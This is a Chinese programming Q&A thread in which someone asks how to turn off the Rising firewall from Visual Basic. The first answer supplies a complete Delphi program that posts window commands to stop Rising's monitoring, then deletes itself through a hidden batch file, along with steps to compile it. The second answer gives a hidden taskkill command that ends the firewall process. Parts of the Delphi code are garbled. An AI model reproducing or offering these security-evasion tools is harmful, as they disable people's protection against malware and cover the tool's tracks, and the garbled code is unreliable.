VB里如何实现关闭瑞星防火墙？

Question

VB里如何实现关闭瑞星防火墙？
代码得怎么写？
请高手提供完整代码，谢谢！（感觉VB的资源好少,高手也好少）
我是要VB的,不是要Delphi的

Answer 1

晕!你是要把别人写的代码放到你的程序里么???!!??
如果只是要干掉瑞星,下个mini版的delphi,直接编译成exe就可以了

Delphi关闭瑞星监控源代码

以下代码均来自互联网只供学习使用，切勿用于非法用途否则后果自负~！

program Project1;

uses
Windows, Messages, SysUtils;

procedure DeleteMe;
var
BatchFile: TextFile;
BatchFileName: string;
ProcessInf TProcessInformation;
StartUpInf TStartupInfo;
begin
BatchFileName := ExtractFilePath(ParamStr(0)) + '_deleteme.bat';
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);

Writeln(BatchFile, ':try');
Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
Writeln(BatchFile,
'if exist "' + ParamStr(0) + '"' + ' goto try');
Writeln(BatchFile, 'del %0');
CloseFile(BatchFile);

FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatchFileName), nil, nil,
False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
ProcessInfo) then
begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
end;

procedure StopRising;
var
hWindow: HWND;
lpClassName: array[0..20] of char;
begin
hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
repeat
GetClassName(hWindow, lpClassName, 20);
if lpClassName = '#32770' then //判断搜索窗口的类名
PostMessage(hWindow, WM_COMMAND,40027,0);
PostMessage(hWindow, WM_COMMAND,2775,0);
PostMessage(hWindow, WM_COMMAND,32776,0);
hWindow := GetWindow(hWindow, GW_HWNDNEXT);
until
hWindow = 0;
end;
begin
StopRising; //调用
DeleteMe;
end.

下面是剑盟版主trojanone 编写的程序和说明
这是用Delphi编写的

可用把全部内容拷贝到 Project1.dpr 中

在 delphi7 中打开 Project1.dpr 文件,按Ctrl+F9一次, 即可生成EXE文件

程序执行完成后会删除自己,如果不想这样,可以把倒数第二行改成 //DeleteME 或删除这一行即可

Answer 2

用强制结束的方法不知道行吗？
试试这个：Shell "cmd /c taskkill /f /im rfwmain.exe", vbHide

Answer 3

不踏踏实实先把基础打好却又想拿VB不干好事的却不少……